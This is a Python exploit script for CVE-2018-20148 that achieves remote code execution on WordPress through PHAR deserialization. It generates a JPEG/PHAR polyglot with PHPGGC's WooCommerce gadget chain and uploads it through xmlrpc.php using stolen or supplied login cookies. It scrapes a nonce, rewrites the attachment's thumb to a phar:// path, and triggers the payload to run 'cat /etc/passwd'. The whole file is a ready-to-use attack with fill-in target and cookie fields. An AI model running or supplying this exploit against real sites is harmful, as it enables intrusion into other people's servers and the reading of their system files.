CVE-2018-20148_exploit.py

#!/usr/bin/env python3
import base64
import os
import re
import time

import requests

requests.packages.urllib3.disable_warnings()

# Put your target configuration in here
TARGET_URL = 'http://192.168.0.168'
COOKIES = {
    'wordpress_232742f411a9c38542acacd5851c2661': 'COOKIE-VALUE-HERE',
    'wordpress_logged_in_232742f411a9c38542acacd5851c2661': 'COOKIE-VALUE-HERE'
}

# Generate polyglot name based on timestamp
POLYGLOT_NAME = str(int(time.time()))
DELAY = 1.5


def create_polyglot(image_path: str, polyglot_path: str, chain: str, command: str):
    if os.path.exists("phpggc"):
        print('[+] PHPGGC found.')
    else:
        print('[i] PHPGGC not found. Cloning it...')
        os.system('git clone https://github.com/ambionics/phpggc.git')
    print('[i] Generating polyglot...')
    time.sleep(DELAY)
    exit_code = os.system("php -d'phar.readonly=0' phpggc/phpggc -pj '%s' -o '%s' %s system '%s'" % (
        image_path, polyglot_path, chain, command))
    if exit_code == 0:
        print('[+] Generated polyglot\n')


def upload_file() -> dict:
    print('[i] Uploading polyglot...')
    time.sleep(DELAY)

    headers = {
        'Content-Type': 'text/xml'
    }

    with open('uploadFile.xml', 'r') as file:
        xml_pattern = file.read().rstrip()
    with open("hacker.jpg", "rb") as image_file:
        base64encoded_bits = base64.b64encode(image_file.read())
    xml = xml_pattern.replace('BASE64-DATA-HERE', base64encoded_bits.decode('utf-8')).replace('POLYGLOT-NAME-HERE', POLYGLOT_NAME)

    resp = requests.post(TARGET_URL + '/xmlrpc.php', headers=headers, data=xml, verify=False, allow_redirects=False)
    resp_body = resp.text
    if resp.status_code == 200 and resp_body.find('attachment_id') != -1:
        try:
            id = re.search('<member><name>attachment_id</name><value><string>(.*)</string></value></member>',
                           resp_body).group(1)
            # Get polyglot path relative to webroot, for example /wp-content/
            polyglot_path = re.search('<member><name>link</name><value><string>http://[\w+\W]*/(wp-content/uploads/\d{4}/\d{2}/\d+\.jpg)</string></value></member>', resp_body).group(1)
            print(f'[+] Uploaded polyglot - id = {id}, polyglot path = {polyglot_path}\n')
            return {'id': id, 'polyglot_path': polyglot_path}
        except RuntimeError:
            print('Unknown error. Terminating program...')
            exit()
    else:
        print('[-] Unknown error. Terminating program...')
        exit()


def get_wpnonce(id: str) -> str:
    print(f'[i] Getting _wpnonce value on id = {id}...')
    time.sleep(DELAY)
    resp = requests.get(TARGET_URL + f'/wp-admin/post.php?post={id}&action=edit', cookies=COOKIES, verify=False, allow_redirects=False)
    if resp.status_code == 200:
        resp_body = resp.text
        indicator = '<input type="hidden" id="_wpnonce" name="_wpnonce" value="'
        index = resp_body.index(indicator)
        wpnonce = resp_body[index + len(indicator): index + len(indicator) + 10]
        if wpnonce:
            print(f'[+] Got _wpnonce value - _wpnonce = {wpnonce}\n')
            return wpnonce


def edit_file(wpnonce: str, id: str):
    print(f'[i] Editing file with id = {id}, _wpnonce = {wpnonce}...')
    time.sleep(DELAY)
    data = {
        '_wpnonce': wpnonce,
        '_wp_http_referer': f'/wp-admin/post.php?post={id}&action=edit',
        'action': 'editpost',
        'post_type': 'attachment',
        'post_ID': id,
        'file': 'D:\Directory'
    }
    try:
        resp = requests.post(TARGET_URL + '/wp-admin/post.php', data=data, cookies=COOKIES, verify=False, allow_redirects=False)
        if resp.status_code == 302 and resp.headers['Location'].endswith('message=4'):
            print('[+] Edited file\n')
    except RuntimeError:
        print('[-] Something went wrong. Terminating program...')
        exit()


def edit_thumb(wpnonce: str, id: str, polyglot_path: str):
    print(f'[i] Editing thumnb with id = {id}, _wpnonce = {wpnonce}...')
    time.sleep(DELAY)
    data = {
        '_wpnonce': wpnonce,
        '_wp_http_referer': f'/wp-admin/post.php?post={id}&action=edit',
        'action': 'editattachment',
        'post_ID': id,
        'thumb': 'phar://./' + polyglot_path
    }
    try:
        resp = requests.post(TARGET_URL + '/wp-admin/post.php', data=data, cookies=COOKIES, verify=False, allow_redirects=False)
        if resp.status_code == 302 and resp.headers['Location'].endswith('message=4'):
            print('[+] Edited thumb\n')
    except RuntimeError:
        print('[-] Something went wrong. Terminating program...')
        exit()


# Fire PHAR deserialization
def get_media_item(id: str):
    print(f'[i] Exploiting PHAR deserialization via image with id = {id}...')
    time.sleep(DELAY)
    headers = {
        'Content-Type': 'text/xml'
    }
    with open('getMediaItem.xml', 'r') as file:
        xml_pattern = file.read().rstrip()
    xml = xml_pattern.replace('INSERT-ID-HERE', id)
    resp = requests.post(TARGET_URL + '/xmlrpc.php', headers=headers, data=xml, verify=False, allow_redirects=False)
    output = re.search('([\w\W]*)</methodResponse>([\w\W]*)', resp.text).group(2)
    if output:
        print(output)
    else:
        print('[i] There is no output')


if __name__ == '__main__':
    create_polyglot('image.jpg', 'hacker.jpg', 'WordPress/P/WooCommerce/RCE1', 'cat /etc/passwd')
    dict_result = upload_file()

    wpnonce = get_wpnonce(dict_result['id'])
    edit_file(wpnonce, dict_result['id'])
    edit_thumb(wpnonce, dict_result['id'], dict_result['polyglot_path'])

    get_media_item(dict_result['id'])